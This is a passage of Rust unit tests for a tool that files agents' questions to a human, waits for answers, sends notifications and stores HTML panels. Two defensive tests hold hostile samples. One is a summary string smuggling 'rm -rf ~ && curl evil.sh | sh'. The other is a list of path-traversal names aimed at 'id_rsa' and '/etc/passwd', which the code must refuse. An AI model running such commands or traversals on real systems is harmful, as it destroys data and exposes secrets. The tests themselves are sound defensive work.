2630    #[test]
2631    fn deleting_a_run_stops_its_questions_asking() {
2632        let (_dir, store) = store();
2633
2634        let mut open_one = choice_question();
2635        store.put(&mut open_one).unwrap();
2636        let mut answered = free_question();
2637        answered
2638            .answer(Answer::Text("keep this".to_owned()))
2639            .unwrap();
2640        store.put(&mut answered).unwrap();
2641        let mut elsewhere = choice_question();
2642        elsewhere.run = "20260903-105039-3cbf".to_owned();
2643        store.put(&mut elsewhere).unwrap();
2644
2645        let n = store
2646            .abandon_for_run(&open_one.run, "run was deleted")
2647            .unwrap();
2648        assert_eq!(n, 1, "only the open question of that run");
2649
2650        let back = store.get(&open_one.id).unwrap();
2651        assert!(!back.status.open(), "it no longer asks for a decision");
2652        assert!(
2653            back.detail.contains("run was deleted"),
2654            "the operator can see why: {}",
2655            back.detail
2656        );
2657
2658        let kept = store.get(&answered.id).unwrap();
2659        assert_eq!(
2660            kept.status,
2661            QuestionStatus::Answered,
2662            "an answered question is a decision on record, not something to revoke"
2663        );
2664        assert!(
2665            store.get(&elsewhere.id).unwrap().status.open(),
2666            "another run's question is untouched"
2667        );
2668        assert!(store.open_for(&open_one.run).is_empty());
2669    }
2670
2671    #[test]
2672    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2673        let (_dir, store) = store();
2674        let mut q = choice_question();
2675        store.put(&mut q).unwrap();
2676
2677        // `Blocked` can still be resumed - leave it exactly as it was.
2678        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2679        assert_eq!(n, 0);
2680        assert!(store.get(&q.id).unwrap().status.open());
2681
2682        // `Failed` is not - abandon it, with the run and its fate in the
2683        // reason so the owner can tell what happened without a run to read.
2684        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2685        assert_eq!(n, 1);
2686        let back = store.get(&q.id).unwrap();
2687        assert!(!back.status.open());
2688        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2689
2690        // A second call against the same, now-settled run finds nothing left.
2691        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2692    }
2693
2694    #[test]
2695    fn settle_run_keeps_an_undelivered_routed_decision() {
2696        let (_dir, store) = store();
2697        let mut q = choice_question();
2698        q.routed_task = Some("task".into());
2699        store.put(&mut q).unwrap();
2700        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2701        assert!(store.get(&q.id).unwrap().status.open());
2702
2703        // Once the chat has it, the ordinary settlement applies again.
2704        store
2705            .update(&q.id, |r| {
2706                r.routed_chat = Some("chat".into());
2707                Ok(())
2708            })
2709            .unwrap();
2710        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2711    }
2712
2713    fn choice_question() -> Question {
2714        Question::new(
2715            "20260902-201256-9fb7".to_owned(),
2716            "implement".to_owned(),
2717            "impl-A".to_owned(),
2718            "Which storage backend should the cache use?".to_owned(),
2719            "Both are already dependencies.".to_owned(),
2720            vec!["SQLite".to_owned(), "Redis".to_owned()],
2721        )
2722    }
2723
2724    fn free_question() -> Question {
2725        Question::new(
2726            "20260902-201256-9fb7".to_owned(),
2727            "review".to_owned(),
2728            "rev-1".to_owned(),
2729            "What should the error message say?".to_owned(),
2730            String::new(),
2731            Vec::new(),
2732        )
2733    }
2734
2735    /// No notification, which is the default and what most of these want.
2736    fn quiet() -> config::Notify {
2737        config::Notify::default()
2738    }
2739
2740    #[test]
2741    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2742        // The front end parses these names by hand; there is no shared schema
2743        // and no compiler between the two. A rename here is a UI that shows an
2744        // empty card and reports no error, so the names are asserted literally.
2745        let mut q = choice_question();
2746        q.id = "20260902-231501-ab12".to_owned();
2747        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2748        // `serde_json::Value` holds an object's keys sorted, and key order
2749        // means nothing to a JSON reader anyway: the field *set* is what the
2750        // front end was written against, so that is what is pinned here.
2751        let keys: Vec<&str> = open
2752            .as_object()
2753            .unwrap()
2754            .keys()
2755            .map(String::as_str)
2756            .collect();
2757        assert_eq!(
2758            keys,
2759            [
2760                "actions",
2761                "answer",
2762                "answer_delivered",
2763                "answer_timeout",
2764                "answered_at",
2765                "asked_at",
2766                "assets",
2767                "choices",
2768                "consult",
2769                "cwd",
2770                "decision_context",
2771                "delivered_turns",
2772                "deputy",
2773                "detail",
2774                "id",
2775                "merge_target",
2776                "node",
2777                "panel",
2778                "routed_chat",
2779                "routed_task",
2780                "run",
2781                "schema",
2782                "seat",
2783                "status",
2784                "summary",
2785                "thread",
2786                "triage_generation",
2787                "waiter",
2788            ],
2789            "the on-disk field set is a contract with the front end"
2790        );
2791        assert_eq!(open["schema"], 13);
2792        assert_eq!(open["merge_target"], serde_json::Value::Null);
2793        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2794        assert_eq!(open["thread"], serde_json::json!([]));
2795        assert_eq!(open["id"], "20260902-231501-ab12");
2796        assert_eq!(open["run"], "20260902-201256-9fb7");
2797        assert_eq!(open["node"], "implement");
2798        assert_eq!(open["seat"], "impl-A");
2799        assert_eq!(open["status"], "open");
2800        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2801        assert_eq!(open["answered_at"], serde_json::Value::Null);
2802        assert_eq!(open["answer"], serde_json::Value::Null);
2803        let asked = open["asked_at"].as_str().unwrap();
2804        assert!(
2805            asked.ends_with('Z') && asked.contains('T'),
2806            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2807        );
2808
2809        // A chosen option, exactly as the contract spells it.
2810        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2811        let answered = serde_json::to_value(&q).unwrap();
2812        assert_eq!(answered["status"], "answered");
2813        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2814        assert!(answered["answered_at"].is_string());
2815
2816        // And free text, which is the other of the two forms.
2817        let mut free = free_question();
2818        free.answer(Answer::Text("Say which file it was".to_owned()))
2819            .unwrap();
2820        assert_eq!(
2821            serde_json::to_value(&free).unwrap()["answer"],
2822            serde_json::json!({"text": "Say which file it was"})
2823        );
2824
2825        // And it survives the round trip a reader actually performs.
2826        let body = serde_json::to_string(&q).unwrap();
2827        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2828    }
2829
2830    #[test]
2831    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2832        let (_dir, store) = store();
2833        let mut q = approval_question();
2834        q.merge_target = Some(crate::merge_decision::Target {
2835            pr: "https://github.com/example/repo/pull/42".into(),
2836            head: "reviewed-head".into(),
2837            language: "ja".into(),
2838        });
2839        store.put(&mut q).unwrap();
2840        let saved = store.get(&q.id).unwrap();
2841        assert_eq!(saved, q);
2842        let mut body = serde_json::to_value(&saved).unwrap();
2843        assert_eq!(body["schema"], 13);
2844        assert_eq!(
2845            body["merge_target"],
2846            serde_json::json!({
2847                "pr": "https://github.com/example/repo/pull/42",
2848                "head": "reviewed-head",
2849                "language": "ja"
2850            })
2851        );
2852
2853        // Earlier merge/hold cards have no target field. Read the actual
2854        // on-disk shape through the store, including its schema guard.
2855        body["schema"] = serde_json::json!(10);
2856        body.as_object_mut().unwrap().remove("merge_target");
2857        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2858        let legacy = store.get(&q.id).unwrap();
2859        assert_eq!(legacy.schema, 10);
2860        assert!(legacy.merge_target.is_none());
2861        assert_eq!(legacy.choices, q.choices);
2862        assert_eq!(legacy.status, q.status);
2863    }
2864
2865    #[test]
2866    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2867        // Four different mistakes, four different fixes: the web handler shows
2868        // these strings to the person who made them.
2869        let mut unoffered = choice_question();
2870        let a = unoffered
2871            .answer(Answer::Choice("Postgres".to_owned()))
2872            .unwrap_err()
2873            .to_string();
2874
2875        let mut typed = choice_question();
2876        let b = typed
2877            .answer(Answer::Text("use Postgres".to_owned()))
2878            .unwrap_err()
2879            .to_string();
2880
2881        let mut blank = free_question();
2882        let c = blank
2883            .answer(Answer::Text("   \n".to_owned()))
2884            .unwrap_err()
2885            .to_string();
2886
2887        let mut twice = choice_question();
2888        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2889        let d = twice
2890            .answer(Answer::Choice("Redis".to_owned()))
2891            .unwrap_err()
2892            .to_string();
2893
2894        assert!(a.contains("not one of the choices"), "{a}");
2895        assert!(b.contains("multiple choice"), "{b}");
2896        assert!(c.contains("empty"), "{c}");
2897        assert!(d.contains("already answered"), "{d}");
2898        let mut distinct = vec![a, b, c, d];
2899        let asked = distinct.len();
2900        distinct.sort_unstable();
2901        distinct.dedup();
2902        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2903
2904        // The refused ones are still open, so the owner can answer properly.
2905        assert_eq!(unoffered.status, QuestionStatus::Open);
2906        assert_eq!(typed.status, QuestionStatus::Open);
2907        assert_eq!(blank.status, QuestionStatus::Open);
2908        // And the first answer to the double-answered one survived.
2909        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2910
2911        // Free text refuses a fabricated choice for the mirror-image reason.
2912        let mut free = free_question();
2913        let e = free
2914            .answer(Answer::Choice("SQLite".to_owned()))
2915            .unwrap_err()
2916            .to_string();
2917        assert!(e.contains("free text"), "{e}");
2918    }
2919
2920    #[test]
2921    fn open_questions_are_listed_before_answered_ones() {
2922        let (_dir, s) = store();
2923        // Ids carry a timestamp, so force a known order: the answered one is
2924        // the newest, and must still sort below the open ones.
2925        let mut old_open = choice_question();
2926        old_open.id = "20260101-000001-aaaa".to_owned();
2927        let mut new_open = choice_question();
2928        new_open.id = "20260101-000002-bbbb".to_owned();
2929        let mut answered = choice_question();
2930        answered.id = "20260101-000003-cccc".to_owned();
2931        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2932        for q in [&mut old_open, &mut new_open, &mut answered] {
2933            s.put(q).unwrap();
2934        }
2935
2936        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2937        assert_eq!(
2938            ids,
2939            [
2940                "20260101-000002-bbbb",
2941                "20260101-000001-aaaa",
2942                "20260101-000003-cccc"
2943            ],
2944            "what has stopped work comes first; history sorts underneath"
2945        );
2946        assert_eq!(s.count_open(), 2);
2947        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2948        assert!(s.open_for("some-other-run").is_empty());
2949        // The short id is what the phone and the reports show.
2950        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2951        assert!(s.get("20260101-000002-bbbb").is_ok());
2952        assert!(s.resolve_id("nope").is_err());
2953        assert!(
2954            s.revision() > 0,
2955            "the store's mtime drives the phone's polling"
2956        );
2957    }
2958
2959    #[test]
2960    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2961        let (_dir, s) = store();
2962        let mut good = choice_question();
2963        s.put(&mut good).unwrap();
2964        // Truncated by a killed writer, and written by a magi from the future.
2965        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2966        let future = serde_json::json!({
2967            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2968            "seat": "s", "summary": "?", "detail": "", "choices": [],
2969            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2970            "answered_at": null, "answer": null,
2971        });
2972        std::fs::write(
2973            s.path_of("20260101-000010-beef"),
2974            serde_json::to_string(&future).unwrap(),
2975        )
2976        .unwrap();
2977
2978        let listed = s.list();
2979        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2980        assert_eq!(listed[0].id, good.id);
2981        // Asked for by name, the unreadable one explains itself instead.
2982        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2983        assert!(e.contains("schema"), "{e}");
2984    }
2985
2986    #[tokio::test]
2987    async fn the_wait_returns_the_answer_another_process_wrote() {
2988        // The phone, `magi answer` and this run are three processes with no
2989        // channel between them: the file is the channel, so the wait has to see
2990        // a write it did not make. Sub-second timings keep this a real wait
2991        // without a real one's duration.
2992        let (dir, s) = store();
2993        let mut q = choice_question();
2994        let id = q.id.clone();
2995        let writer = Questions::at(dir.path().join("questions"));
2996        let handle = tokio::spawn(async move {
2997            tokio::time::sleep(Duration::from_millis(30)).await;
2998            let mut fresh = writer.get(&id).expect("the question was filed first");
2999            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3000            writer.put(&mut fresh).unwrap();
3001        });
3002
3003        let got = wait_for_owner(
3004            &mut q,
3005            &s,
3006            &quiet(),
3007            Duration::from_secs(5),
3008            Duration::from_millis(10),
3009        )
3010        .await
3011        .unwrap();
3012
3013        handle.await.unwrap();
3014        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
3015        assert_eq!(
3016            q.status,
3017            QuestionStatus::Answered,
3018            "the caller's copy is refreshed from the answering process's record"
3019        );
3020        assert!(q.answered_at.is_some());
3021    }
3022
3023    #[tokio::test]
3024    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
3025        let (_dir, s) = store();
3026        let mut q = choice_question();
3027
3028        let got = wait_for_owner(
3029            &mut q,
3030            &s,
3031            &quiet(),
3032            Duration::from_millis(60),
3033            Duration::from_millis(10),
3034        )
3035        .await
3036        .unwrap();
3037
3038        assert_eq!(
3039            got,
3040            Wait::Abandoned,
3041            "a slow human is not an error; the run parks"
3042        );
3043        assert_eq!(q.status, QuestionStatus::Abandoned);
3044        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
3045        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
3046        assert!(
3047            on_disk.detail.contains("Abandoned:"),
3048            "why nobody answered belongs with the question: {}",
3049            on_disk.detail
3050        );
3051        assert!(on_disk.resolution().is_none());
3052        assert_eq!(s.count_open(), 0);
3053    }
3054
3055    #[tokio::test]
3056    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
3057        // This is the whole point of slicing: `timeout` (the real
3058        // `answer_timeout` budget) is far larger than `slice`, so the loop
3059        // must land on `slice` first and hand back `Pending` - not read the
3060        // silence so far as the owner having given up.
3061        let (_dir, s) = store();
3062        let mut q = choice_question();
3063        s.put(&mut q).unwrap();
3064
3065        let got = wait_loop(
3066            &mut q,
3067            &s,
3068            Duration::from_secs(3600),
3069            Duration::from_millis(30),
3070            Duration::from_millis(10),
3071        )
3072        .await
3073        .unwrap();
3074
3075        assert_eq!(
3076            got,
3077            Wait::Pending,
3078            "the clock on this call ran out, not the owner's patience"
3079        );
3080        assert_eq!(
3081            q.status,
3082            QuestionStatus::Open,
3083            "a slice expiring must never abandon the question"
3084        );
3085        let on_disk = s.get(&q.id).expect("still on disk, still open");
3086        assert_eq!(
3087            on_disk.status,
3088            QuestionStatus::Open,
3089            "nothing about the record changed just because this call gave up"
3090        );
3091    }
3092
3093    #[tokio::test]
3094    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
3095        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
3096        // and returns `Pending`, a second slice - a fresh call, exactly as a
3097        // fresh process would make - picks the same question back up and
3098        // sees an answer written in between.
3099        let (dir, s) = store();
3100        let mut q = choice_question();
3101        s.put(&mut q).unwrap();
3102
3103        let first = wait_loop(
3104            &mut q,
3105            &s,
3106            Duration::from_secs(3600),
3107            Duration::from_millis(30),
3108            Duration::from_millis(10),
3109        )
3110        .await
3111        .unwrap();
3112        assert_eq!(first, Wait::Pending);
3113
3114        let id = q.id.clone();
3115        let writer = Questions::at(dir.path().join("questions"));
3116        let mut fresh = writer.get(&id).unwrap();
3117        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3118        writer.put(&mut fresh).unwrap();
3119
3120        // `resume_wait` uses its own production poll interval rather than a
3121        // test-injected one, so the budget here only needs to be large enough
3122        // to cover one real poll tick - the point is that it is `resume_wait`
3123        // itself, not a helper, that finds the answer.
3124        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
3125            .await
3126            .unwrap();
3127        assert_eq!(second, Wait::Answered("Redis".to_owned()));
3128        assert_eq!(q.status, QuestionStatus::Answered);
3129    }
3130
3131    #[tokio::test]
3132    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
3133        // The owner can speak back while nothing is running at all - between
3134        // one call reporting `Wait::Pending` and the next `--wait` picking
3135        // the question back up - and whoever resumes the wait loads a
3136        // *fresh* copy of the question off disk, one whose thread already
3137        // contains that reply. A baseline taken from that fresh copy would
3138        // treat the reply as pre-existing and never notice it "arrive",
3139        // leaving the agent polling in silence until `answer_timeout`
3140        // eventually abandons the question - replacing the exact accident
3141        // this feature exists to fix with a quieter version of itself.
3142        let (dir, s) = store();
3143        let mut q = choice_question();
3144        s.put(&mut q).unwrap();
3145
3146        let first = wait_loop(
3147            &mut q,
3148            &s,
3149            Duration::from_secs(3600),
3150            Duration::from_millis(30),
3151            Duration::from_millis(10),
3152        )
3153        .await
3154        .unwrap();
3155        assert_eq!(first, Wait::Pending);
3156
3157        // The owner speaks back during the gap, with nobody running yet.
3158        let id = q.id.clone();
3159        let writer = Questions::at(dir.path().join("questions"));
3160        let mut fresh = writer.get(&id).unwrap();
3161        fresh.say("why not Postgres?").unwrap();
3162        writer.put(&mut fresh).unwrap();
3163
3164        // `magi ask --wait` re-reads the question rather than reusing the
3165        // stale in-memory copy the earlier call held - so the copy handed to
3166        // `resume_wait` here already carries the reply, same as `fresh` above.
3167        let mut resumed = s.get(&id).unwrap();
3168        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3169            .await
3170            .unwrap();
3171        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3172        assert_eq!(
3173            resumed.status,
3174            QuestionStatus::Open,
3175            "talking back is not a decision; the question stays open"
3176        );
3177    }
3178
3179    #[tokio::test]
3180    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3181        // A broken webhook must not throw away an implementation, so the wait
3182        // reports the failure and carries on. `notify` itself still says what
3183        // went wrong, because `magi notify --test` has to be able to show it.
3184        let (dir, s) = store();
3185        let broken = config::Notify {
3186            command: vec![
3187                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3188                "{summary}".to_owned(),
3189            ],
3190        };
3191        let mut q = choice_question();
3192        assert!(
3193            notify(&broken, &q).await.is_err(),
3194            "the caller is told; it decides that it does not matter"
3195        );
3196
3197        let id = q.id.clone();
3198        let writer = Questions::at(dir.path().join("questions"));
3199        let handle = tokio::spawn(async move {
3200            tokio::time::sleep(Duration::from_millis(30)).await;
3201            let mut fresh = writer.get(&id).unwrap();
3202            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3203            writer.put(&mut fresh).unwrap();
3204        });
3205        let got = wait_for_owner(
3206            &mut q,
3207            &s,
3208            &broken,
3209            Duration::from_secs(5),
3210            Duration::from_millis(10),
3211        )
3212        .await
3213        .unwrap();
3214        handle.await.unwrap();
3215        assert_eq!(got, Wait::Answered("Redis".to_owned()));
3216
3217        // No command at all is the default, and is silence rather than failure.
3218        assert!(notify(&quiet(), &q).await.is_ok());
3219        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3220    }
3221
3222    #[tokio::test]
3223    async fn external_question_notification_names_the_supported_response_path() {
3224        let dir = tempfile::tempdir().unwrap();
3225        let path = dir.path().join("page");
3226        let cmd = config::Notify {
3227            command: vec![
3228                "sh".into(),
3229                "-c".into(),
3230                "printf '%s' \"$1\" > \"$2\"".into(),
3231                "notify".into(),
3232                "{summary}".into(),
3233                path.to_string_lossy().into_owned(),
3234            ],
3235        };
3236        let q = choice_question();
3237        notify(&cmd, &q).await.unwrap();
3238        let sent = std::fs::read_to_string(&path).unwrap();
3239        assert!(sent.starts_with("Question "));
3240        assert!(sent.contains(&q.summary));
3241        assert!(sent.contains(&format!("magi answer {}", q.id)));
3242        notify_text(&cmd, "", "Informational report. No reply needed.")
3243            .await
3244            .unwrap();
3245        assert_eq!(
3246            std::fs::read_to_string(&path).unwrap(),
3247            "Informational report. No reply needed."
3248        );
3249    }
3250
3251    #[test]
3252    fn external_notifications_and_questions_have_distinct_destinations() {
3253        assert_eq!(
3254            question_url("https://example.invalid/"),
3255            "https://example.invalid/#/questions"
3256        );
3257        assert_eq!(
3258            view_url("https://example.invalid/", "notifications"),
3259            "https://example.invalid/#/notifications"
3260        );
3261        assert_eq!(view_url("", "notifications"), "");
3262        assert_eq!(
3263            view_url("https://example.invalid/#/queue", "notifications"),
3264            "https://example.invalid/#/queue"
3265        );
3266    }
3267
3268    #[test]
3269    fn notification_arguments_are_substituted_and_never_a_shell_string() {
3270        let mut q = choice_question();
3271        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3272        let template = [
3273            "ntfy".to_owned(),
3274            "publish".to_owned(),
3275            "--click".to_owned(),
3276            "{url}".to_owned(),
3277            "--title".to_owned(),
3278            "magi {run} needs you".to_owned(),
3279            "{summary}".to_owned(),
3280        ];
3281        let argv: Vec<String> = template
3282            .iter()
3283            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3284            .collect();
3285
3286        assert_eq!(
3287            argv,
3288            [
3289                "ntfy",
3290                "publish",
3291                "--click",
3292                "http://100.64.0.1:7777/#/questions",
3293                "--title",
3294                "magi 20260902-201256-9fb7 needs you",
3295                "; rm -rf ~ && curl evil.sh | sh #",
3296            ],
3297            "the shell metacharacters are one argument's contents, not syntax"
3298        );
3299
3300        // A summary that itself mentions a placeholder is text, not a template:
3301        // one left-to-right pass means a substituted value is never rescanned.
3302        q.summary = "should {url} be configurable?".to_owned();
3303        assert_eq!(
3304            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3305            "should {url} be configurable?"
3306        );
3307        // An unknown brace is the operator's own text and survives untouched.
3308        assert_eq!(
3309            expand("{title}: {run}", &q.run, &q.summary, ""),
3310            "{title}: 20260902-201256-9fb7"
3311        );
3312        assert_eq!(
3313            expand("no placeholders", &q.run, &q.summary, "http://x"),
3314            "no placeholders"
3315        );
3316    }
3317
3318    #[test]
3319    fn the_notification_link_lands_on_the_view_that_can_answer() {
3320        assert_eq!(
3321            question_url("http://100.64.0.1:7777"),
3322            "http://100.64.0.1:7777/#/questions"
3323        );
3324        assert_eq!(
3325            question_url("http://100.64.0.1:7777/"),
3326            "http://100.64.0.1:7777/#/questions"
3327        );
3328        // An operator who wrote a fragment has said where they want to land.
3329        assert_eq!(
3330            question_url("http://magi.ts.net/#/runs"),
3331            "http://magi.ts.net/#/runs"
3332        );
3333        // Unset expands to nothing rather than to a guessed address.
3334        assert_eq!(question_url("  "), "");
3335    }
3336
3337    /// A question with a fixed id, so a panel's path on disk is predictable.
3338    fn panelled() -> Question {
3339        let mut q = choice_question();
3340        q.id = "20260903-014455-ab12".to_owned();
3341        q
3342    }
3343
3344    #[test]
3345    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3346        let (dir, s) = store();
3347        let work = dir.path().join("worktree");
3348        std::fs::create_dir_all(&work).unwrap();
3349        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3350        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3351
3352        let mut q = panelled();
3353        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3354        s.put_panel(
3355            &mut q,
3356            html,
3357            &[work.join("table.png"), work.join("diff.svg")],
3358        )
3359        .unwrap();
3360        s.put(&mut q).unwrap();
3361
3362        assert!(q.panel);
3363        assert_eq!(
3364            q.assets,
3365            ["diff.svg", "table.png"],
3366            "sorted, not in the order the agent happened to pass them"
3367        );
3368        assert_eq!(
3369            s.panel_html(&q.id).as_deref(),
3370            Some(html),
3371            "the html is stored byte for byte; the agent authored the markup"
3372        );
3373        assert_eq!(
3374            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3375            Some(&b"<svg/>"[..])
3376        );
3377
3378        // The record on disk carries the same two fields the front end reads.
3379        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3380        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3381        assert_eq!(json["panel"], true);
3382        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3383        let back = s.get(&q.id).unwrap();
3384        assert!(back.panel);
3385        assert_eq!(back.assets, q.assets);
3386
3387        // The assets were copied, so the panel still renders after `magi fold`
3388        // has deleted the candidate worktree the agent authored it in.
3389        std::fs::remove_dir_all(&work).unwrap();
3390        assert_eq!(
3391            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3392            Some(&b"\x89PNG"[..]),
3393            "a referenced asset would be gone with the worktree"
3394        );
3395    }
3396
3397    #[test]
3398    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3399        let (dir, s) = store();
3400        let mut q = panelled();
3401        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3402        s.put(&mut q).unwrap();
3403
3404        // A file exactly one level up from the panel directory - which is
3405        // where `..` lands - holding content a read would make visible.
3406        let secret = "this must never reach the browser";
3407        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3408        assert_eq!(
3409            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3410            secret,
3411            "the traversal is real: the operating system resolves this path \
3412             happily, which is why the name has to be refused before the join"
3413        );
3414
3415        let long = "x".repeat(200);
3416        for name in [
3417            "..",
3418            "../id_rsa",
3419            "..\\id_rsa",
3420            "sub/../id_rsa",
3421            "/",
3422            "\\",
3423            "/etc/passwd",
3424            "C:\\Windows\\win.ini",
3425            "",
3426            ".hidden",
3427            ".",
3428            long.as_str(),
3429        ] {
3430            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3431            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3432            assert!(
3433                e.contains("not a panel file name"),
3434                "`{name}` must be refused as a name, not attempted: {e}"
3435            );
3436            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3437        }
3438        // A name that is allowed still finds its file, so the refusals above
3439        // were the rule at work and not a store that reads nothing.
3440        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3441
3442        // The same rule on the write side, where the name comes from a source
3443        // file's base name, and a refusal leaves the stored panel untouched.
3444        let hidden = dir.path().join(".hidden");
3445        std::fs::write(&hidden, "x").unwrap();
3446        let e = s
3447            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3448            .unwrap_err()
3449            .to_string();
3450        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3451        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3452        assert!(q.assets.is_empty());
3453    }
3454
3455    #[test]
3456    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3457        let (dir, s) = store();
3458        let mut q = panelled();
3459        s.put(&mut q).unwrap();
3460
3461        // Sized rather than filled: the cap reads the file's length, and a
3462        // test that actually produced eight mebibytes would only be slower.
3463        let big = dir.path().join("recording.png");
3464        std::fs::File::create(&big)
3465            .unwrap()
3466            .set_len(PANEL_MAX_BYTES)
3467            .unwrap();
3468
3469        let html = "<p>see the recording</p>";
3470        let total = PANEL_MAX_BYTES + html.len() as u64;
3471        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3472        assert!(
3473            e.contains(&PANEL_MAX_BYTES.to_string()),
3474            "the cap is named so the agent knows the limit: {e}"
3475        );
3476        assert!(
3477            e.contains(&total.to_string()),
3478            "the actual size is named so the agent knows by how much: {e}"
3479        );
3480
3481        assert!(!q.panel);
3482        assert!(q.assets.is_empty());
3483        let left: Vec<String> = std::fs::read_dir(s.root())
3484            .unwrap()
3485            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3486            .collect();
3487        assert_eq!(
3488            left,
3489            [format!("{}.json", q.id)],
3490            "a refused panel leaves neither a directory nor scratch: {left:?}"
3491        );
3492    }
3493
3494    #[test]
3495    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3496        let (dir, s) = store();
3497        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3498        std::fs::create_dir_all(&before).unwrap();
3499        std::fs::create_dir_all(&after).unwrap();
3500        std::fs::write(before.join("diff.png"), "before").unwrap();
3501        std::fs::write(after.join("diff.png"), "after").unwrap();
3502
3503        let mut q = panelled();
3504        let e = s
3505            .put_panel(
3506                &mut q,
3507                "<p>x</p>",
3508                &[before.join("diff.png"), after.join("diff.png")],
3509            )
3510            .unwrap_err()
3511            .to_string();
3512        assert!(e.contains("diff.png"), "{e}");
3513        assert!(
3514            e.contains("before") && e.contains("after"),
3515            "both sources are named, because the fix is to rename one: {e}"
3516        );
3517        assert!(!q.panel);
3518        assert!(!s.panel_dir(&q.id).exists());
3519    }
3520
3521    #[test]
3522    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3523        let (_dir, s) = store();
3524        let barrier = std::sync::Barrier::new(8);
3525        let ids = std::thread::scope(|scope| {
3526            let handles: Vec<_> = (0..8)
3527                .map(|worker| {
3528                    let s = &s;
3529                    let barrier = &barrier;
3530                    scope.spawn(move || {
3531                        barrier.wait();
3532                        (0..16)
3533                            .map(|index| {
3534                                let mut q = choice_question();
3535                                // Reproduce both the old four-digit collision
3536                                // and a clock returning identical entropy.
3537                                q.id = new_id_at("20261020-224346", 0xf8ef);
3538                                q.summary = format!("worker {worker}, question {index}");
3539                                assert!(valid_asset_name(&q.id));
3540                                assert_eq!(q.short(), "f8ef");
3541                                let html = format!("<p>{}</p>", q.summary);
3542                                s.put_panel(&mut q, &html, &[]).unwrap();
3543                                s.put(&mut q).unwrap();
3544                                (q.id, q.summary, html)
3545                            })
3546                            .collect::<Vec<_>>()
3547                    })
3548                })
3549                .collect();
3550            handles
3551                .into_iter()
3552                .flat_map(|handle| handle.join().unwrap())
3553                .collect::<Vec<_>>()
3554        });
